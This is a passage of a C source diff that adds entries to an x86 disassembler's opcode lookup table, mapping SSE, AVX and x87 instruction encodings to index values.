0, + /* c63 - _F2_0F_7D */ 0x2401, + /* c64 - */ 0, + /* c65 - _V_66_0F_7D */ 0x4089, + /* c66 - */ 0, + /* c67 - _V_F2_0F_7D */ 0x408a, + /* c68 - */ 0, + /* c69 - */ 0, + /* c6a - */ 0, + /* c6b - */ 0, + /* c6c - _0F_7E */ 0x408b, + /* c6d - _66_0F_7E */ 0x408c, + /* c6e - _F3_0F_7E */ 0x2402, + /* c6f - */ 0, + /* c70 - */ 0, + /* c71 - _V_66_0F_7E */ 0x408d, + /* c72 - _V_F3_0F_7E */ 0x408e, + /* c73 - */ 0, + /* c74 - */ 0, + /* c75 - */ 0, + /* c76 - */ 0, + /* c77 - */ 0, + /* c78 - _0F_7F */ 0x2403, + /* c79 - _66_0F_7F */ 0x2404, + /* c7a - _F3_0F_7F */ 0x2405, + /* c7b - */ 0, + /* c7c - */ 0, + /* c7d - _V_66_0F_7F */ 0x408f, + /* c7e - _V_F3_0F_7F */ 0x4090, + /* c7f - */ 0, + /* c80 - */ 0, + /* c81 - */ 0, + /* c82 - */ 0, + /* c83 - */ 0, + /* c84 - _0F_AE_00 */ 0xd5fc, + /* c85 - _0F_AE_01 */ 0xd608, + /* c86 - _0F_AE_02 */ 0xd614, + /* c87 - _0F_AE_03 */ 0xd620, + /* c88 - _0F_AE_04 */ 0x4091, + /* c89 - _0F_AE_05 */ 0x4092, + /* c8a - _0F_AE_06 */ 0x4093, + /* c8b - _0F_AE_07 */ 0x4094, + /* c8c - */ 0, + /* c8d - */ 0, + /* c8e - _F3_0F_B8 */ 0x2406, + /* c8f - */ 0, + /* c90 - */ 0, + /* c91 - */ 0, + /* c92 - */ 0, + /* c93 - */ 0, + /* c94 - */ 0, + /* c95 - */ 0, + /* c96 - */ 0, + /* c97 - */ 0, + /* c98 - */ 0, + /* c99 - */ 0, + /* c9a - */ 0, + /* c9b - */ 0, + /* c9c - _0F_BA_04 */ 0x2407, + /* c9d - _0F_BA_05 */ 0x2408, + /* c9e - _0F_BA_06 */ 0x2409, + /* c9f - _0F_BA_07 */ 0x240a, + /* ca0 - _0F_BC */ 0x240b, + /* ca1 - */ 0, + /* ca2 - _F3_0F_BC */ 0x240c, + /* ca3 - */ 0, + /* ca4 - */ 0, + /* ca5 - */ 0, + /* ca6 - */ 0, + /* ca7 - */ 0, + /* ca8 - */ 0, + /* ca9 - */ 0, + /* caa - */ 0, + /* cab - */ 0, + /* cac - _0F_BD */ 0x240d, + /* cad - */ 0, + /* cae - _F3_0F_BD */ 0x240e, + /* caf - */ 0, + /* cb0 - */ 0, + /* cb1 - */ 0, + /* cb2 - */ 0, + /* cb3 - */ 0, + /* cb4 - */ 0, + /* cb5 - */ 0, + /* cb6 - */ 0, + /* cb7 - */ 0, + /* cb8 - _0F_C2 */ 0x4095, + /* cb9 - _66_0F_C2 */ 0x4096, + /* cba - _F3_0F_C2 */ 0x4097, + /* cbb - _F2_0F_C2 */ 0x4098, + /* cbc - _V_0F_C2 */ 0x4099, + /* cbd - _V_66_0F_C2 */ 0x409a, + /* cbe - _V_F3_0F_C2 */ 0x409b, + /* cbf - _V_F2_0F_C2 */ 0x409c, + /* cc0 - */ 0, + /* cc1 - */ 0, + /* cc2 - */ 0, + /* cc3 - */ 0, + /* cc4 - _0F_C4 */ 0x409d, + /* cc5 - _66_0F_C4 */ 0x409e, + /* cc6 - */ 0, + /* cc7 - */ 0, + /* cc8 - */ 0, + /* cc9 - _V_66_0F_C4 */ 0x409f, + /* cca - */ 0, + /* ccb - */ 0, + /* ccc - */ 0, + /* ccd - */ 0, + /* cce - */ 0, + /* ccf - */ 0, + /* cd0 - _0F_C5 */ 0x40a0, + /* cd1 - _66_0F_C5 */ 0x40a1, + /* cd2 - */ 0, + /* cd3 - */ 0, + /* cd4 - */ 0, + /* cd5 - _V_66_0F_C5 */ 0x40a2, + /* cd6 - */ 0, + /* cd7 - */ 0, + /* cd8 - */ 0, + /* cd9 - */ 0, + /* cda - */ 0, + /* cdb - */ 0, + /* cdc - _0F_C6 */ 0x40a3, + /* cdd - _66_0F_C6 */ 0x40a4, + /* cde - */ 0, + /* cdf - */ 0, + /* ce0 - _V_0F_C6 */ 0x40a5, + /* ce1 - _V_66_0F_C6 */ 0x40a6, + /* ce2 - */ 0, + /* ce3 - */ 0, + /* ce4 - */ 0, + /* ce5 - */ 0, + /* ce6 - */ 0, + /* ce7 - */ 0, + /* ce8 - */ 0, + /* ce9 - _0F_C7_01 */ 0x40a7, + /* cea - */ 0, + /* ceb - */ 0, + /* cec - */ 0, + /* ced - */ 0, + /* cee - _0F_C7_06 */ 0xd62c, + /* cef - _0F_C7_07 */ 0x240f, + /* cf0 - */ 0, + /* cf1 - _66_0F_D0 */ 0x2410, + /* cf2 - */ 0, + /* cf3 - _F2_0F_D0 */ 0x2411, + /* cf4 - */ 0, + /* cf5 - _V_66_0F_D0 */ 0x40a8, + /* cf6 - */ 0, + /* cf7 - _V_F2_0F_D0 */ 0x40a9, + /* cf8 - */ 0, + /* cf9 - */ 0, + /* cfa - */ 0, + /* cfb - */ 0, + /* cfc - _0F_D1 */ 0x2412, + /* cfd - _66_0F_D1 */ 0x2413, + /* cfe - */ 0, + /* cff - */ 0, + /* d00 - */ 0, + /* d01 - _V_66_0F_D1 */ 0x40aa, + /* d02 - */ 0, + /* d03 - */ 0, + /* d04 - */ 0, + /* d05 - */ 0, + /* d06 - */ 0, + /* d07 - */ 0, + /* d08 - _0F_D2 */ 0x2414, + /* d09 - _66_0F_D2 */ 0x2415, + /* d0a - */ 0, + /* d0b - */ 0, + /* d0c - */ 0, + /* d0d - _V_66_0F_D2 */ 0x40ab, + /* d0e - */ 0, + /* d0f - */ 0, + /* d10 - */ 0, + /* d11 - */ 0, + /* d12 - */ 0, + /* d13 - */ 0, + /* d14 - _0F_D3 */ 0x2416, + /* d15 - _66_0F_D3 */ 0x2417, + /* d16 - */ 0, + /* d17 - */ 0, + /* d18 - */ 0, + /* d19 - _V_66_0F_D3 */ 0x40ac, + /* d1a - */ 0, + /* d1b - */ 0, + /* d1c - */ 0, + /* d1d - */ 0, + /* d1e - */ 0, + /* d1f - */ 0, + /* d20 - _0F_D4 */ 0x2418, + /* d21 - _66_0F_D4 */ 0x2419, + /* d22 - */ 0, + /* d23 - */ 0, + /* d24 - */ 0, + /* d25 - _V_66_0F_D4 */ 0x40ad, + /* d26 - */ 0, + /* d27 - */ 0, + /* d28 - */ 0, + /* d29 - */ 0, + /* d2a - */ 0, + /* d2b - */ 0, + /* d2c - _0F_D5 */ 0x241a, + /* d2d - _66_0F_D5 */ 0x241b, + /* d2e - */ 0, + /* d2f - */ 0, + /* d30 - */ 0, + /* d31 - _V_66_0F_D5 */ 0x40ae, + /* d32 - */ 0, + /* d33 - */ 0, + /* d34 - */ 0, + /* d35 - */ 0, + /* d36 - */ 0, + /* d37 - */ 0, + /* d38 - */ 0, + /* d39 - _66_0F_D6 */ 0x241c, + /* d3a - _F3_0F_D6 */ 0x241d, + /* d3b - _F2_0F_D6 */ 0x241e, + /* d3c - */ 0, + /* d3d - _V_66_0F_D6 */ 0x40af, + /* d3e - */ 0, + /* d3f - */ 0, + /* d40 - */ 0, + /* d41 - */ 0, + /* d42 - */ 0, + /* d43 - */ 0, + /* d44 - _0F_D7 */ 0x241f, + /* d45 - _66_0F_D7 */ 0x2420, + /* d46 - */ 0, + /* d47 - */ 0, + /* d48 - */ 0, + /* d49 - _V_66_0F_D7 */ 0x40b0, + /* d4a - */ 0, + /* d4b - */ 0, + /* d4c - */ 0, + /* d4d - */ 0, + /* d4e - */ 0, + /* d4f - */ 0, + /* d50 - _0F_D8 */ 0x2421, + /* d51 - _66_0F_D8 */ 0x2422, + /* d52 - */ 0, + /* d53 - */ 0, + /* d54 - */ 0, + /* d55 - _V_66_0F_D8 */ 0x40b1, + /* d56 - */ 0, + /* d57 - */ 0, + /* d58 - */ 0, + /* d59 - */ 0, + /* d5a - */ 0, + /* d5b - */ 0, + /* d5c - _0F_D9 */ 0x2423, + /* d5d - _66_0F_D9 */ 0x2424, + /* d5e - */ 0, + /* d5f - */ 0, + /* d60 - */ 0, + /* d61 - _V_66_0F_D9 */ 0x40b2, + /* d62 - */ 0, + /* d63 - */ 0, + /* d64 - */ 0, + /* d65 - */ 0, + /* d66 - */ 0, + /* d67 - */ 0, + /* d68 - _0F_DA */ 0x2425, + /* d69 - _66_0F_DA */ 0x2426, + /* d6a - */ 0, + /* d6b - */ 0, + /* d6c - */ 0, + /* d6d - _V_66_0F_DA */ 0x40b3, + /* d6e - */ 0, + /* d6f - */ 0, + /* d70 - */ 0, + /* d71 - */ 0, + /* d72 - */ 0, + /* d73 - */ 0, + /* d74 - _0F_DB */ 0x2427, + /* d75 - _66_0F_DB */ 0x2428, + /* d76 - */ 0, + /* d77 - */ 0, + /* d78 - */ 0, + /* d79 - _V_66_0F_DB */ 0x40b4, + /* d7a - */ 0, + /* d7b - */ 0, + /* d7c - */ 0, + /* d7d - */ 0, + /* d7e - */ 0, + /* d7f - */ 0, + /* d80 - _0F_DC */ 0x2429, + /* d81 - _66_0F_DC */ 0x242a, + /* d82 - */ 0, + /* d83 - */ 0, + /* d84 - */ 0, + /* d85 - _V_66_0F_DC */ 0x40b5, + /* d86 - */ 0, + /* d87 - */ 0, + /* d88 - */ 0, + /* d89 - */ 0, + /* d8a - */ 0, + /* d8b - */ 0, + /* d8c - _0F_DD */ 0x242b, + /* d8d - _66_0F_DD */ 0x242c, + /* d8e - */ 0, + /* d8f - */ 0, + /* d90 - */ 0, + /* d91 - _V_66_0F_DD */ 0x40b6, + /* d92 - */ 0, + /* d93 - */ 0, + /* d94 - */ 0, + /* d95 - */ 0, + /* d96 - */ 0, + /* d97 - */ 0, + /* d98 - _0F_DE */ 0x242d, + /* d99 - _66_0F_DE */ 0x242e, + /* d9a - */ 0, + /* d9b - */ 0, + /* d9c - */ 0, + /* d9d - _V_66_0F_DE */ 0x40b7, + /* d9e - */ 0, + /* d9f - */ 0, + /* da0 - */ 0, + /* da1 - */ 0, + /* da2 - */ 0, + /* da3 - */ 0, + /* da4 - _0F_DF */ 0x242f, + /* da5 - _66_0F_DF */ 0x2430, + /* da6 - */ 0, + /* da7 - */ 0, + /* da8 - */ 0, + /* da9 - _V_66_0F_DF */ 0x40b8, + /* daa - */ 0, + /* dab - */ 0, + /* dac - */ 0, + /* dad - */ 0, + /* dae - */ 0, + /* daf - */ 0, + /* db0 - _0F_E0 */ 0x2431, + /* db1 - _66_0F_E0 */ 0x2432, + /* db2 - */ 0, + /* db3 - */ 0, + /* db4 - */ 0, + /* db5 - _V_66_0F_E0 */ 0x40b9, + /* db6 - */ 0, + /* db7 - */ 0, + /* db8 - */ 0, + /* db9 - */ 0, + /* dba - */ 0, + /* dbb - */ 0, + /* dbc - _0F_E1 */ 0x2433, + /* dbd - _66_0F_E1 */ 0x2434, + /* dbe - */ 0, + /* dbf - */ 0, + /* dc0 - */ 0, + /* dc1 - _V_66_0F_E1 */ 0x40ba, + /* dc2 - */ 0, + /* dc3 - */ 0, + /* dc4 - */ 0, + /* dc5 - */ 0, + /* dc6 - */ 0, + /* dc7 - */ 0, + /* dc8 - _0F_E2 */ 0x2435, + /* dc9 - _66_0F_E2 */ 0x2436, + /* dca - */ 0, + /* dcb - */ 0, + /* dcc - */ 0, + /* dcd - _V_66_0F_E2 */ 0x40bb, + /* dce - */ 0, + /* dcf - */ 0, + /* dd0 - */ 0, + /* dd1 - */ 0, + /* dd2 - */ 0, + /* dd3 - */ 0, + /* dd4 - _0F_E3 */ 0x2437, + /* dd5 - _66_0F_E3 */ 0x2438, + /* dd6 - */ 0, + /* dd7 - */ 0, + /* dd8 - */ 0, + /* dd9 - _V_66_0F_E3 */ 0x40bc, + /* dda - */ 0, + /* ddb - */ 0, + /* ddc - */ 0, + /* ddd - */ 0, + /* dde - */ 0, + /* ddf - */ 0, + /* de0 - _0F_E4 */ 0x2439, + /* de1 - _66_0F_E4 */ 0x243a, + /* de2 - */ 0, + /* de3 - */ 0, + /* de4 - */ 0, + /* de5 - _V_66_0F_E4 */ 0x40bd, + /* de6 - */ 0, + /* de7 - */ 0, + /* de8 - */ 0, + /* de9 - */ 0, + /* dea - */ 0, + /* deb - */ 0, + /* dec - _0F_E5 */ 0x243b, + /* ded - _66_0F_E5 */ 0x243c, + /* dee - */ 0, + /* def - */ 0, + /* df0 - */ 0, + /* df1 - _V_66_0F_E5 */ 0x40be, + /* df2 - */ 0, + /* df3 - */ 0, + /* df4 - */ 0, + /* df5 - */ 0, + /* df6 - */ 0, + /* df7 - */ 0, + /* df8 - */ 0, + /* df9 - _66_0F_E6 */ 0x243d, + /* dfa - _F3_0F_E6 */ 0x243e, + /* dfb - _F2_0F_E6 */ 0x243f, + /* dfc - */ 0, + /* dfd - _V_66_0F_E6 */ 0x40bf, + /* dfe - _V_F3_0F_E6 */ 0x40c0, + /* dff - _V_F2_0F_E6 */ 0x40c1, + /* e00 - */ 0, + /* e01 - */ 0, + /* e02 - */ 0, + /* e03 - */ 0, + /* e04 - _0F_E7 */ 0x2440, + /* e05 - _66_0F_E7 */ 0x2441, + /* e06 - */ 0, + /* e07 - */ 0, + /* e08 - */ 0, + /* e09 - _V_66_0F_E7 */ 0x40c2, + /* e0a - */ 0, + /* e0b - */ 0, + /* e0c - */ 0, + /* e0d - */ 0, + /* e0e - */ 0, + /* e0f - */ 0, + /* e10 - _0F_E8 */ 0x2442, + /* e11 - _66_0F_E8 */ 0x2443, + /* e12 - */ 0, + /* e13 - */ 0, + /* e14 - */ 0, + /* e15 - _V_66_0F_E8 */ 0x40c3, + /* e16 - */ 0, + /* e17 - */ 0, + /* e18 - */ 0, + /* e19 - */ 0, + /* e1a - */ 0, + /* e1b - */ 0, + /* e1c - _0F_E9 */ 0x2444, + /* e1d - _66_0F_E9 */ 0x2445, + /* e1e - */ 0, + /* e1f - */ 0, + /* e20 - */ 0, + /* e21 - _V_66_0F_E9 */ 0x40c4, + /* e22 - */ 0, + /* e23 - */ 0, + /* e24 - */ 0, + /* e25 - */ 0, + /* e26 - */ 0, + /* e27 - */ 0, + /* e28 - _0F_EA */ 0x2446, + /* e29 - _66_0F_EA */ 0x2447, + /* e2a - */ 0, + /* e2b - */ 0, + /* e2c - */ 0, + /* e2d - _V_66_0F_EA */ 0x40c5, + /* e2e - */ 0, + /* e2f - */ 0, + /* e30 - */ 0, + /* e31 - */ 0, + /* e32 - */ 0, + /* e33 - */ 0, + /* e34 - _0F_EB */ 0x2448, + /* e35 - _66_0F_EB */ 0x2449, + /* e36 - */ 0, + /* e37 - */ 0, + /* e38 - */ 0, + /* e39 - _V_66_0F_EB */ 0x40c6, + /* e3a - */ 0, + /* e3b - */ 0, + /* e3c - */ 0, + /* e3d - */ 0, + /* e3e - */ 0, + /* e3f - */ 0, + /* e40 - _0F_EC */ 0x244a, + /* e41 - _66_0F_EC */ 0x244b, + /* e42 - */ 0, + /* e43 - */ 0, + /* e44 - */ 0, + /* e45 - _V_66_0F_EC */ 0x40c7, + /* e46 - */ 0, + /* e47 - */ 0, + /* e48 - */ 0, + /* e49 - */ 0, + /* e4a - */ 0, + /* e4b - */ 0, + /* e4c - _0F_ED */ 0x244c, + /* e4d - _66_0F_ED */ 0x244d, + /* e4e - */ 0, + /* e4f - */ 0, + /* e50 - */ 0, + /* e51 - _V_66_0F_ED */ 0x40c8, + /* e52 - */ 0, + /* e53 - */ 0, + /* e54 - */ 0, + /* e55 - */ 0, + /* e56 - */ 0, + /* e57 - */ 0, + /* e58 - _0F_EE */ 0x244e, + /* e59 - _66_0F_EE */ 0x244f, + /* e5a - */ 0, + /* e5b - */ 0, + /* e5c - */ 0, + /* e5d - _V_66_0F_EE */ 0x40c9, + /* e5e - */ 0, + /* e5f - */ 0, + /* e60 - */ 0, + /* e61 - */ 0, + /* e62 - */ 0, + /* e63 - */ 0, + /* e64 - _0F_EF */ 0x2450, + /* e65 - _66_0F_EF */ 0x2451, + /* e66 - */ 0, + /* e67 - */ 0, + /* e68 - */ 0, + /* e69 - _V_66_0F_EF */ 0x40ca, + /* e6a - */ 0, + /* e6b - */ 0, + /* e6c - */ 0, + /* e6d - */ 0, + /* e6e - */ 0, + /* e6f - */ 0, + /* e70 - */ 0, + /* e71 - */ 0, + /* e72 - */ 0, + /* e73 - _F2_0F_F0 */ 0x2452, + /* e74 - */ 0, + /* e75 - */ 0, + /* e76 - */ 0, + /* e77 - _V_F2_0F_F0 */ 0x40cb, + /* e78 - */ 0, + /* e79 - */ 0, + /* e7a - */ 0, + /* e7b - */ 0, + /* e7c - _0F_F1 */ 0x2453, + /* e7d - _66_0F_F1 */ 0x2454, + /* e7e - */ 0, + /* e7f - */ 0, + /* e80 - */ 0, + /* e81 - _V_66_0F_F1 */ 0x40cc, + /* e82 - */ 0, + /* e83 - */ 0, + /* e84 - */ 0, + /* e85 - */ 0, + /* e86 - */ 0, + /* e87 - */ 0, + /* e88 - _0F_F2 */ 0x2455, + /* e89 - _66_0F_F2 */ 0x2456, + /* e8a - */ 0, + /* e8b - */ 0, + /* e8c - */ 0, + /* e8d - _V_66_0F_F2 */ 0x40cd, + /* e8e - */ 0, + /* e8f - */ 0, + /* e90 - */ 0, + /* e91 - */ 0, + /* e92 - */ 0, + /* e93 - */ 0, + /* e94 - _0F_F3 */ 0x2457, + /* e95 - _66_0F_F3 */ 0x2458, + /* e96 - */ 0, + /* e97 - */ 0, + /* e98 - */ 0, + /* e99 - _V_66_0F_F3 */ 0x40ce, + /* e9a - */ 0, + /* e9b - */ 0, + /* e9c - */ 0, + /* e9d - */ 0, + /* e9e - */ 0, + /* e9f - */ 0, + /* ea0 - _0F_F4 */ 0x2459, + /* ea1 - _66_0F_F4 */ 0x245a, + /* ea2 - */ 0, + /* ea3 - */ 0, + /* ea4 - */ 0, + /* ea5 - _V_66_0F_F4 */ 0x40cf, + /* ea6 - */ 0, + /* ea7 - */ 0, + /* ea8 - */ 0, + /* ea9 - */ 0, + /* eaa - */ 0, + /* eab - */ 0, + /* eac - _0F_F5 */ 0x245b, + /* ead - _66_0F_F5 */ 0x245c, + /* eae - */ 0, + /* eaf - */ 0, + /* eb0 - */ 0, + /* eb1 - _V_66_0F_F5 */ 0x40d0, + /* eb2 - */ 0, + /* eb3 - */ 0, + /* eb4 - */ 0, + /* eb5 - */ 0, + /* eb6 - */ 0, + /* eb7 - */ 0, + /* eb8 - _0F_F6 */ 0x245d, + /* eb9 - _66_0F_F6 */ 0x245e, + /* eba - */ 0, + /* ebb - */ 0, + /* ebc - */ 0, + /* ebd - _V_66_0F_F6 */ 0x40d1, + /* ebe - */ 0, + /* ebf - */ 0, + /* ec0 - */ 0, + /* ec1 - */ 0, + /* ec2 - */ 0, + /* ec3 - */ 0, + /* ec4 - _0F_F7 */ 0x245f, + /* ec5 - _66_0F_F7 */ 0x2460, + /* ec6 - */ 0, + /* ec7 - */ 0, + /* ec8 - */ 0, + /* ec9 - _V_66_0F_F7 */ 0x40d2, + /* eca - */ 0, + /* ecb - */ 0, + /* ecc - */ 0, + /* ecd - */ 0, + /* ece - */ 0, + /* ecf - */ 0, + /* ed0 - _0F_F8 */ 0x2461, + /* ed1 - _66_0F_F8 */ 0x2462, + /* ed2 - */ 0, + /* ed3 - */ 0, + /* ed4 - */ 0, + /* ed5 - _V_66_0F_F8 */ 0x40d3, + /* ed6 - */ 0, + /* ed7 - */ 0, + /* ed8 - */ 0, + /* ed9 - */ 0, + /* eda - */ 0, + /* edb - */ 0, + /* edc - _0F_F9 */ 0x2463, + /* edd - _66_0F_F9 */ 0x2464, + /* ede - */ 0, + /* edf - */ 0, + /* ee0 - */ 0, + /* ee1 - _V_66_0F_F9 */ 0x40d4, + /* ee2 - */ 0, + /* ee3 - */ 0, + /* ee4 - */ 0, + /* ee5 - */ 0, + /* ee6 - */ 0, + /* ee7 - */ 0, + /* ee8 - _0F_FA */ 0x2465, + /* ee9 - _66_0F_FA */ 0x2466, + /* eea - */ 0, + /* eeb - */ 0, + /* eec - */ 0, + /* eed - _V_66_0F_FA */ 0x40d5, + /* eee - */ 0, + /* eef - */ 0, + /* ef0 - */ 0, + /* ef1 - */ 0, + /* ef2 - */ 0, + /* ef3 - */ 0, + /* ef4 - _0F_FB */ 0x2467, + /* ef5 - _66_0F_FB */ 0x2468, + /* ef6 - */ 0, + /* ef7 - */ 0, + /* ef8 - */ 0, + /* ef9 - _V_66_0F_FB */ 0x40d6, + /* efa - */ 0, + /* efb - */ 0, + /* efc - */ 0, + /* efd - */ 0, + /* efe - */ 0, + /* eff - */ 0, + /* f00 - _0F_FC */ 0x2469, + /* f01 - _66_0F_FC */ 0x246a, + /* f02 - */ 0, + /* f03 - */ 0, + /* f04 - */ 0, + /* f05 - _V_66_0F_FC */ 0x40d7, + /* f06 - */ 0, + /* f07 - */ 0, + /* f08 - */ 0, + /* f09 - */ 0, + /* f0a - */ 0, + /* f0b - */ 0, + /* f0c - _0F_FD */ 0x246b, + /* f0d - _66_0F_FD */ 0x246c, + /* f0e - */ 0, + /* f0f - */ 0, + /* f10 - */ 0, + /* f11 - _V_66_0F_FD */ 0x40d8, + /* f12 - */ 0, + /* f13 - */ 0, + /* f14 - */ 0, + /* f15 - */ 0, + /* f16 - */ 0, + /* f17 - */ 0, + /* f18 - _0F_FE */ 0x246d, + /* f19 - _66_0F_FE */ 0x246e, + /* f1a - */ 0, + /* f1b - */ 0, + /* f1c - */ 0, + /* f1d - _V_66_0F_FE */ 0x40d9, + /* f1e - */ 0, + /* f1f - */ 0, + /* f20 - */ 0, + /* f21 - */ 0, + /* f22 - */ 0, + /* f23 - */ 0, + /* f24 - _D9_06 */ 0x246f, + /* f25 - _9B_D9_06 */ 0x2470, + /* f26 - */ 0, + /* f27 - */ 0, + /* f28 - */ 0, + /* f29 - */ 0, + /* f2a - */ 0, + /* f2b - */ 0, + /* f2c - */ 0, + /* f2d - */ 0, + /* f2e - */ 0, + /* f2f - */ 0, + /* f30 - _D9_07 */ 0x2471, + /* f31 - _9B_D9_07 */ 0x2472, + /* f32 - */ 0, + /* f33 - */ 0, + /* f34 - */ 0, + /* f35 - */ 0, + /* f36 - */ 0, + /* f37 - */ 0, + /* f38 - */ 0, + /* f39 - */ 0, + /* f3a - */ 0, + /* f3b - */ 0, + /* f3c - _DB_E2 */ 0x2473, + /* f3d - _9B_DB_E2 */ 0x2474, + /* f3e - */ 0, + /* f3f - */ 0, + /* f40 - */ 0, + /* f41 - */ 0, + /* f42 - */ 0, + /* f43 - */ 0, + /* f44 - */ 0, + /* f45 - */ 0, + /* f46 - */ 0, + /* f47 - */ 0, + /* f48 - _DB_E3 */ 0x2475, + /* f49 - _9B_DB_E3 */ 0x2476, + /* f4a - */ 0, + /* f4b - */ 0, + /* f4c - */ 0, + /* f4d - */ 0, + /* f4e - */ 0, + /* f4f - */ 0, + /* f50 - */ 0, + /* f51 - */ 0, + /* f52 - */ 0, + /* f53 - */ 0, + /* f54 - _DD_06 */ 0x2477, + /* f55 - _9B_DD_06 */ 0x2478, + /* f56 - */ 0, + /* f57 - */ 0, + /* f58 - */ 0, + /* f59 - */ 0, + /* f5a - */ 0, + /* f5b - */ 0, + /* f5c - */ 0, + /* f5d - */ 0, + /* f5e - */ 0, + /* f5f - */ 0, + /* f60 - _DD_07 */ 0x2479, + /* f61 - _9B_DD_07 */ 0x247a, + /* f62 - */ 0, + /* f63 - */ 0, + /* f64 - */ 0, + /* f65 - */ 0, + /* f66 - */ 0, + /* f67 - */ 0, + /* f68 - */ 0, + /* f69 - */ 0, + /* f6a - */ 0, + /* f6b - */ 0, + /* f6c - _DF_E0 */ 0x247b, + /* f6d - _9B_DF_E0 */ 0x247c, + /* f6e - */ 0, + /* f6f - */ 0, + /* f70 - */ 0, + /* f71 - */ 0, + /* f72 - */ 0, + /* f73 - */ 0, + /* f74 - */ 0, + /* f75 - */ 0, + /* f76 - */ 0, + /* f77 - */ 0, + /* f78 - _0F_38_00 */ 0x247d, + /* f79 - _66_0F_38_00 */ 0x247e, + /* f7a - */ 0, + /* f7b - */ 0, + /* f7c - */ 0, + /* f7d - _V_66_0F_38_00 */ 0x40da, + /* f7e - */ 0, + /* f7f - */ 0, + /* f80 - */ 0, + /* f81 - */ 0, + /* f82 - */ 0, + /* f83 - */ 0, + /* f84 - _0F_38_01 */ 0x247f, + /* f85 - _66_0F_38_01 */ 0x2480, + /* f86 - */ 0, + /* f87 - */ 0, + /* f88 - */ 0, + /* f89 - _V_66_0F_38_01 */ 0x40db, + /* f8a - */ 0, + /* f8b - */ 0, + /* f8c - */ 0, + /* f8d - */ 0, + /* f8e - */ 0, + /* f8f - */ 0, + /* f90 - _0F_38_02 */ 0x2481, + /* f91 - _66_0F_38_02 */ 0x2482, + /* f92 - */ 0, + /* f93 - */ 0, + /* f94 - */ 0, + /* f95 - _V_66_0F_38_02 */ 0x40dc, + /* f96 - */ 0, + /* f97 - */ 0, + /* f98 - */ 0, + /* f99 - */ 0, + /* f9a - */ 0, + /* f9b - */ 0, + /* f9c - _0F_38_03 */ 0x2483, + /* f9d - _66_0F_38_03 */ 0x2484, + /* f9e - */ 0, + /* f9f - */ 0, + /* fa0 - */ 0, + /* fa1 - _V_66_0F_38_03 */ 0x40dd, + /* fa2 - */ 0, + /* fa3 - */ 0, + /* fa4 - */ 0, + /* fa5 - */ 0, + /* fa6 - */ 0, + /* fa7 - */ 0, + /* fa8 - _0F_38_04 */ 0x2485, + /* fa9 - _66_0F_38_04 */ 0x2486, + /* faa - */ 0, + /* fab - */ 0, + /* fac - */ 0, + /* fad - _V_66_0F_38_04 */ 0x40de, + /* fae - */ 0, + /* faf - */ 0, + /* fb0 - */ 0, + /* fb1 - */ 0, + /* fb2 - */ 0, + /* fb3 - */ 0, + /* fb4 - _0F_38_05 */ 0x2487, + /* fb5 - _66_0F_38_05 */ 0x2488, + /* fb6 - */ 0, + /* fb7 - */ 0, + /* fb8 - */ 0, + /* fb9 - _V_66_0F_38_05 */ 0x40df, + /* fba - */ 0, + /* fbb - */ 0, + /* fbc - */ 0, + /* fbd - */ 0, + /* fbe - */ 0, + /* fbf - */ 0, + /* fc0 - _0F_38_06 */ 0x2489, + /* fc1 - _66_0F_38_06 */ 0x248a, + /* fc2 - */ 0, + /* fc3 - */ 0, + /* fc4 - */ 0, + /* fc5 - _V_66_0F_38_06 */ 0x40e0, + /* fc6 - */ 0, + /* fc7 - */ 0, + /* fc8 - */ 0, + /* fc9 - */ 0, + /* fca - */ 0, + /* fcb - */ 0, + /* fcc - _0F_38_07 */ 0x248b, + /* fcd - _66_0F_38_07 */ 0x248c, + /* fce - */ 0, + /* fcf - */ 0, + /* fd0 - */ 0, + /* fd1 - _V_66_0F_38_07 */ 0x40e1, + /* fd2 - */ 0, + /* fd3 - */ 0, + /* fd4 - */ 0, + /* fd5 - */ 0, + /* fd6 - */ 0, + /* fd7 - */ 0, + /* fd8 - _0F_38_08 */ 0x248d, + /* fd9 - _66_0F_38_08 */ 0x248e, + /* fda - */ 0, + /* fdb - */ 0, + /* fdc - */ 0, + /* fdd - _V_66_0F_38_08 */ 0x40e2, + /* fde - */ 0, + /* fdf - */ 0, + /* fe0 - */ 0, + /* fe1 - */ 0, + /* fe2 - */ 0, + /* fe3 - */ 0, + /* fe4 - _0F_38_09 */ 0x248f, + /* fe5 - _66_0F_38_09 */ 0x2490, + /* fe6 - */ 0, + /* fe7 - */ 0, + /* fe8 - */ 0, + /* fe9 - _V_66_0F_38_09 */ 0x40e3, + /* fea - */ 0, + /* feb - */ 0, + /* fec - */ 0, + /* fed - */ 0, + /* fee - */ 0, + /* fef - */ 0, + /* ff0 - _0F_38_0A */ 0x2491, + /* ff1 - _66_0F_38_0A */ 0x2492, + /* ff2 - */ 0, + /* ff3 - */ 0, + /* ff4 - */ 0, + /* ff5 - _V_66_0F_38_0A */ 0x40e4, + /* ff6 - */ 0, + /* ff7 - */ 0, + /* ff8 - */ 0, + /* ff9 - */ 0, + /* ffa - */ 0, + /* ffb - */ 0, + /* ffc - _0F_38_0B */ 0x2493, + /* ffd - _66_0F_38_0B */ 0x2494, + /* ffe - */ 0, + /* fff - */ 0, + /* 1000 - */ 0, + /* 1001 - _V_66_0F_38_0B */ 0x40e5, + /* 1002 - */ 0, + /* 1003 - */ 0, + /* 1004 - */ 0, + /* 1005 - */ 0, + /* 1006 - */ 0, + /* 1007 - */ 0, + /* 1008 - */ 0, + /* 1009 - */ 0, + /* 100a - */ 0, + /* 100b - */ 0, + /* 100c - */ 0, + /* 100d - _V_66_0F_38_0C */ 0x40e6, + /* 100e - */ 0, + /* 100f - */ 0, + /* 1010 - */ 0, + /* 1011 - */ 0, + /* 1012 - */ 0, + /* 1013 - */ 0, + /* 1014 - */ 0, + /* 1015 - */ 0, + /* 1016 - */ 0, + /* 1017 - */ 0, + /* 1018 - */ 0, + /* 1019 - _V_66_0F_38_0D */ 0x40e7, + /* 101a - */ 0, + /* 101b - */ 0, + /* 101c - */ 0, + /* 101d - */ 0, + /* 101e - */ 0, + /* 101f - */ 0, + /* 1020 - */ 0, + /* 1021 - */ 0, + /* 1022 - */ 0, + /* 1023 - */ 0, + /* 1024 - */ 0, + /* 1025 - _V_66_0F_38_0E */ 0x40e8, + /* 1026 - */ 0, + /* 1027 - */ 0, + /* 1028 - */ 0, + /* 1029 - */ 0, + /* 102a - */ 0, + /* 102b - */ 0, + /* 102c - */ 0, + /* 102d - */ 0, + /* 102e - */ 0, + /* 102f - */ 0, + /* 1030 - */ 0, + /* 1031 - _V_66_0F_38_0F */ 0x40e9, + /* 1032 - */ 0, + /* 1033 - */ 0, + /* 1034 - */ 0, + /* 1035 - */ 0, + /* 1036 - */ 